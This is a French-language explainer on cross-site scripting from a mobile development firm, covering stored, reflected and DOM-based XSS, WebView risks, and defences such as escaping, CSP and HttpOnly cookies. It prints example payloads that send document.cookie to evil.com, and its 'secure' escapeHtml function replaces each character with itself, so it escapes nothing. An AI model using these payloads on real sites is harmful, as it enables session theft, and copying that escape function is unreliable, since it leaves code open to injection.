XSS (Cross-Site Scripting) est un type de vulnérabilité d'application Web où un attaquant injecte du code JavaScript malveillant dans le contenu affiché à d'autres utilisateurs. Selon OWASP Top Ten (2025), XSS reste l'une des vulnérabilités les plus courantes, affectant plus de 60% des applications Web. Cross-Site Scripting permet de voler des cookies de session, de rediriger les utilisateurs vers des sites de phishing et de modifier le contenu des pages en temps réel.
Points clés
XSS (Cross-Site Scripting) est une vulnérabilité qui permet à un attaquant d'injecter du code JavaScript dans une page Web, qui est ensuite exécuté dans le navigateur de la victime. Le navigateur charge la page depuis un site Web de confiance et exécute le script injecté avec les mêmes privilèges que le code légitime du site. Cela donne à l'attaquant l'accès aux cookies, au stockage de session, à l'arbre DOM de la page et la possibilité d'envoyer des requêtes au nom de la victime. Les vulnérabilités XSS se produisent lorsqu'une application insère des données utilisateur dans une page HTML sans échappement approprié ni validation.
Le terme Cross-Site Scripting est apparu pour la première fois en 2000 dans un bulletin de sécurité de Microsoft. Au cours des 25 dernières années, XSS n'a pas perdu de sa pertinence : selon HackerOne (2025), XSS représente environ 22% de toutes les vulnérabilités enregistrées sur la plateforme. La raison de la persistance de XSS est la difficulté de contrôler tous les points d'entrée des données utilisateur. Tout champ de saisie, paramètre URL, en-tête de requête HTTP ou nom de fichier peut devenir un vecteur d'attaque si les données sont reflétées dans le code HTML sans traitement.
Les attaques XSS peuvent entraîner le vol de cookies de session, permettant à un attaquant de se connecter au compte de la victime sans mot de passe. Les autres conséquences incluent : la redirection vers des sites de phishing, la falsification du contenu de la page, le vol de données personnelles et l'installation de logiciels malveillants (drive-by download). En 2023, une attaque XSS sur la plateforme Salesforce Community Cloud a affecté les données de milliers de clients d'entreprise, démontrant que même les grandes plateformes ne sont pas à l'abri de cette vulnérabilité.
La classification XSS divise les attaques en trois types principaux selon la méthode de livraison du code malveillant. Chaque type nécessite une approche de protection différente : Stored XSS est bloqué en échappant la sortie de la base de données, Reflected — en échappant les paramètres URL, DOM-based — en travaillant en toute sécurité avec l'API DOM. Comprendre la différence est le fondement d'une stratégie de sécurité efficace.
| Type | Stockage du script | Vecteur de livraison | Difficulté de détection |
|---|---|---|---|
| Stored XSS | Base de données du serveur | Commentaires, profils, messages | Moyenne |
| Reflected XSS | Paramètres URL | Liens de phishing, email | Élevée |
| DOM-based XSS | JavaScript côté client | Fragments URL, postMessage | Très élevée |
Le type de XSS le plus dangereux. Un attaquant injecte un script dans des données que le serveur stocke dans une base de données et affiche à chaque chargement de page. Un vecteur typique est le champ de commentaire : l'attaquant publie un commentaire avec <script>document.location='https://evil.com/?c='+document.cookie</script>. Chaque utilisateur qui charge la page avec ce commentaire envoie ses cookies à l'attaquant. Stored XSS ne nécessite aucune action de la victime autre que la visite de la page — ce qui le rend particulièrement dangereux pour les réseaux sociaux, les forums et les blogs.
Le script malveillant est transmis dans une requête HTTP (généralement dans un paramètre URL) et est immédiatement reflété par le serveur dans la réponse. L'attaquant crée un lien comme https://example.com/search?q=<script>...</script> et le distribue via phishing, réseaux sociaux ou email. La victime, en cliquant sur le lien, reçoit une page où la requête de recherche saisie (script) est affichée sans échappement. Reflected XSS nécessite de l'ingénierie sociale — la victime doit cliquer sur le lien, ce qui réduit mais n'élimine pas le risque.
Contrairement à Stored et Reflected, DOM-based XSS ne nécessite pas l'envoi de données au serveur. La vulnérabilité se produit lorsque le JavaScript côté client insère des données utilisateur provenant de l'URL, de document.referrer, de postMessage ou de localStorage dans le DOM sans traitement sécurisé. Par exemple, un code comme document.getElementById('output').innerHTML = location.hash.substring(1) exécute tout HTML et scripts du fragment URL (#<img onerror='...'>). DOM-based XSS est le plus difficile à détecter car le serveur ne reçoit jamais la charge utile malveillante — elle est entièrement traitée côté client.
// Exemple de DOM-based XSS (CODE VULNÉRABLE)
// Si userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — dangereux : insère du HTML brut
document.write('<div>' + userInput + '</div>');
// ALTERNATIVE SÉCURISÉE — utilisez textContent
document.getElementById('output').textContent = userInput;
XSS exploite une propriété fondamentale du Web : le navigateur exécute le JavaScript reçu d'un domaine de confiance. Si un attaquant trouve un moyen d'injecter son code dans la réponse HTML du serveur, le navigateur l'exécute avec les mêmes privilèges que le code légitime. L'attaque passe par trois phases : injection de code malveillant dans le contenu, livraison du contenu au navigateur de la victime et exécution du code avec accès au DOM, aux cookies et au stockage.
L'attaquant trouve un point d'entrée — un champ, un paramètre URL ou un en-tête dont la valeur est incluse par le serveur dans la réponse HTML sans échappement. Les points d'entrée typiques incluent : les barres de recherche, les champs de commentaires, le nom d'utilisateur, l'URL d'avatar, les cookies, les en-têtes HTTP (User-Agent, Referer). Les frameworks modernes (React, Angular, Vue) échappent automatiquement la sortie, mais les développeurs peuvent désactiver l'échappement via dangerouslySetInnerHTML, bypassSecurityTrustHtml ou v-html.
Pour Reflected XSS, l'attaquant distribue le lien malveillant. Pour Stored XSS, il suffit de publier du contenu sur le site cible, et chaque visiteur de la page devient une victime. DOM-based XSS est activé lorsqu'une page est chargée avec un fragment URL spécifique. Les trois phases peuvent être automatisées : si XSS est découvert dans une bannière publicitaire (contenu tiers), l'attaque affectera tous les utilisateurs du site jusqu'à ce que la bannière soit supprimée.
// Exemple de Reflected XSS dans la recherche (BACKEND VULNÉRABLE)
// Au lieu d'échapper le paramètre q, le serveur l'insère dans HTML
// Express.js — gestionnaire vulnérable :
app.get('/search', (req, res) => {
const query = req.query.q; // entrée utilisateur
res.send(`<h1>Results for: ${query}</h1>`);
});
// VERSION SÉCURISÉE — échappement via encodeURI ou moteur de template :
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Les applications mobiles sont également sujettes aux attaques XSS, bien que dans une moindre mesure que les sites Web. Le vecteur principal est WebView et les frameworks hybrides (Cordova, Capacitor, React Native avec WebView). Si l'application charge du contenu Web dans WebView — en particulier du contenu utilisateur (email HTML, articles, messages) — une vulnérabilité XSS peut entraîner l'exécution de JavaScript dans l'application avec accès aux fonctions natives via le pont JavaScript.
Android WebView exécute JavaScript par défaut. Si l'application charge une chaîne HTML via loadDataWithBaseURL() ou affiche du contenu utilisateur, une attaque XSS peut donner à l'attaquant l'accès à l'interface JavaScript (addJavascriptInterface). Google a interdit l'utilisation de @JavascriptInterface pour API < 17, mais le code existant dans les anciennes applications existe encore. Protection : désactivez JavaScript dans WebView s'il n'est pas nécessaire et utilisez la navigation sécurisée.
React Native n'utilise pas WebView pour l'interface utilisateur — les composants sont rendus dans des vues natives. Cependant, lors de l'affichage de HTML via react-native-webview ou des composants de texte enrichi, le risque XSS revient. Flutter utilise son propre moteur de rendu (Skia) et ne prend pas en charge JavaScript dans les widgets HTML (flutter_html n'exécute pas les balises script), mais les plugins WebView (webview_flutter) sont vulnérables de manière similaire aux WebView natives. Meilleure pratique — ne transmettez jamais de HTML non vérifié à WebView.
// Configuration sécurisée de WebView dans Android
val webView = findViewById<WebView>(R.id.webview)
// Désactiver JavaScript si l'interactivité n'est pas nécessaire
webView.settings.javaScriptEnabled = false
// Nettoyer le HTML avant le chargement
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
La protection contre XSS repose sur trois principes : ne faites pas confiance aux entrées utilisateur, échappez avant la sortie, utilisez Content Security Policy. L'encodage de sortie est la méthode la plus importante : toutes les données reçues de l'utilisateur doivent être échappées avant d'être insérées dans du HTML, JavaScript, CSS ou URL. Les moteurs de templates modernes (Twig, Handlebars, JSX, Blade) le font automatiquement à moins que le développeur ne désactive l'échappement avec des méthodes spéciales.
L'échappement dépend du contexte d'insertion des données. Dans le contexte HTML, <, >, & et les guillemets sont échappés. Dans le contexte JavaScript, les accents graves,
et </script> sont échappés. Dans le contexte CSS — les caractères de contrôle. Dans le contexte URL — l'encodage URL. Une erreur de contexte — par exemple, insérer une chaîne échappée pour HTML dans un attribut onclick — ne protège pas contre XSS car onclick s'exécute dans un contexte JavaScript où un échappement différent est nécessaire.
CSP est un en-tête HTTP qui limite les sources à partir desquelles le navigateur peut charger des scripts, des styles et d'autres ressources. Une CSP stricte (sans unsafe-inline, sans unsafe-eval) bloque l'exécution de tout script inline, y compris les vecteurs XSS. Selon Google Security Blog (2025), les sites avec CSP bloquent 95% des attaques XSS. Exemple : Content-Security-Policy: default-src 'self'; script-src 'self' interdit tout script externe et inline. CSP ne protège pas contre Stored XSS si le script est chargé depuis le même domaine, mais cela nécessite un effort supplémentaire de l'attaquant.
Définir le drapeau HttpOnly pour les cookies empêche l'accès via JavaScript (document.cookie), bloquant ainsi le vol de cookies de session par XSS. Le drapeau Secure garantit que le cookie est transmis uniquement via HTTPS. La combinaison HttpOnly + Secure + SameSite=Lax rend le vol de cookies de session via XSS pratiquement impossible. Cependant, XSS peut toujours effectuer des actions au nom de l'utilisateur (par exemple, envoyer des requêtes), donc HttpOnly n'est pas une panacée mais fait partie d'une défense globale.
| Méthode de protection | Protège contre les types XSS | Efficacité |
|---|---|---|
| Échappement de sortie | Stored, Reflected, DOM-based | 99% |
| CSP | XSS inline, basé sur eval | 95% |
| Cookie HttpOnly | Vol de session via XSS | 100% (non lisible) |
| Validation d'entrée | Stored, Reflected | 50% (selon le type) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Les tests réguliers de XSS sont une partie obligatoire du pipeline CI/CD de développement sécurisé. Les scanners automatisés trouvent jusqu'à 80% des vulnérabilités XSS ; le reste nécessite des tests de pénétration manuels. La meilleure approche est une combinaison d'analyse SAST (statique), de scan DAST (dynamique) et de revue de code axée sur les points d'entrée des données utilisateur.
Pour les applications mobiles, les tests XSS incluent l'analyse WebView : vérification des interfaces JavaScript, gestion des schémas URL et passage de HTML à loadDataWithBaseURL. Il est également recommandé de tester la gestion de postMessage dans les applications hybrides et de vérifier les données transmises via le pont JavaScript. Utilisez un émulateur avec un proxy (Burp Suite) pour intercepter et modifier le trafic de l'application mobile.
Questions fréquentes
Stored XSS stocke le script malveillant sur le serveur (dans la base de données) et se déclenche à chaque chargement de page. Reflected XSS transmet le script via un paramètre URL, et l'attaque se déclenche uniquement lors du clic sur le lien malveillant. Stored est plus dangereux car il ne nécessite aucune action de la victime — il suffit d'ouvrir la page infectée.
Non, HTTPS ne protège pas contre XSS. HTTPS chiffre le trafic entre le navigateur et le serveur mais n'affecte pas le traitement des entrées utilisateur côté serveur. La vulnérabilité XSS existe au niveau de l'application, pas du transport. HTTPS est un minimum de sécurité obligatoire, mais pas une défense contre XSS.
Dans la plupart des cas, XSS est exécuté dans le bac à sable du navigateur ou de WebView et n'a pas accès au système de fichiers ou au matériel de l'appareil. Cependant, dans Android WebView avec l'interface JavaScript activée, un script XSS peut appeler des méthodes natives de l'application. Sous iOS, WKWebView peut également exposer des données via JavaScriptCore si le pont approprié est configuré.
Utilisez Burp Suite ou OWASP ZAP avec un proxy configuré sur l'appareil mobile. Interceptez les requêtes de l'application, modifiez les paramètres et envoyez des charges utiles XSS. Vérifiez WebView pour le traitement HTML via loadDataWithBaseURL et la présence de ponts JavaScript. Pour React Native, testez les composants WebView séparément.
DOM-based XSS est une attaque où le JavaScript de la page prend lui-même des données de l'URL ou d'autres sources et les insère dans HTML sans validation. Le serveur ne participe pas — le code malveillant est entièrement traité dans le navigateur. Un exemple typique : un site prend du texte de location.hash et l'insère via innerHTML, permettant l'exécution de tout code HTML.
Résumé
Nous développerons une application mobile clé en main
IT Sectr crée des applications iOS et Android pour les startups et les entreprises depuis 2017. Nous vous conseillerons et vous proposerons la meilleure solution.
Lisez aussi